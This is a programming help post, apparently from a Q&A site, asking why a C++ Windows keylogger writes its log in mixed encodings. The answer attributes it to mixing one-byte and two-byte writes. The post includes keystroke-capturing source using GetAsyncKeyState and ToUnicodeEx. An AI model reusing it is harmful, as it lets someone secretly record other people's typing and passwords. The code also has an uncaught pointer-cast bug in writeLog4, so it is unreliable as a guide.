c++winapikeylogger

How do I fix these encodings?


I'm making a program that captures all the keys the user enters & saves them to a file.

There's one problem I'm really confused with. Sometimes when I open the text file it seems like it's ALL in Unicode.

screenshot

I typed the Russian characters and they're correct.

However, sometimes the file is in a normal form.

screenshot

This converts the key to Unicode:

void writeScannedKey(unsigned char key)
{
    HWND windowHandle{ GetForegroundWindow() };
    DWORD threadID{ GetWindowThreadProcessId(windowHandle, NULL) };

    BYTE *keyState{ (BYTE*)malloc(256) };
    GetKeyboardState(keyState);

    HKL hkl{ GetKeyboardLayout(threadID) };

    wchar_t uniChar[16]{ 0 };

    UINT virtualKey{ (MapVirtualKeyEx(key, MAPVK_VK_TO_CHAR, hkl)) };

    ToUnicodeEx(virtualKey, key, keyState, uniChar, 16, 0, hkl);

    writeLog(uniChar);

    free(keyState);
}

The program loop (writeScannedKey() is the function above):

while (true)
{
    for (key = 8; key <= 222; ++key)
    {
        if (GetAsyncKeyState(key) == -32767)
        {
            if ((key >= 39) && (key < 91))
            {
                writeScannedKey(key);
                break;
            }

            if (isShitKey(key) == FALSE)
                writeLog4(key);
        }
    }
}

I have 3 different functions that accept a different data type from each other (I know, it's bad). The WriteLog4 function is a function that I use to write normal characters to a file, writeLog2 is used to print for example ALT key, RWin key, etc. & writeLog is a function which gets called from the writeScannedKey() function.

void writeLog(TCHAR *text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
    
    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);

    CloseHandle(file);
}

void writeLog2(LPCSTR text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, text, lstrlenA(text) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

void writeLog4(unsigned char text)
{
    std::wstring s{ g_name };

    std::string name{ s.begin(), s.end() };

    std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };

    HANDLE file{ CreateFileA(fullPath.c_str(), FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL) };
    WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);

    CloseHandle(file);
}

Solution

  • When you use the writeScannedKey function, the following codes all write two bytes to the file

     WriteFile(file, text, wcslen(text) * sizeof(wchar_t), NULL, NULL);
    

    But when you use the writeLog4 function, you only write one byte at a time:

    WriteFile(file, (LPCVOID)text, sizeof(text) / sizeof(char) * sizeof(char), NULL, NULL);
    

    When you use UTF-16 encoding to read a file, two bytes will be read as one character, a single byte will be combined with subsequent bytes, and then an error character will be displayed.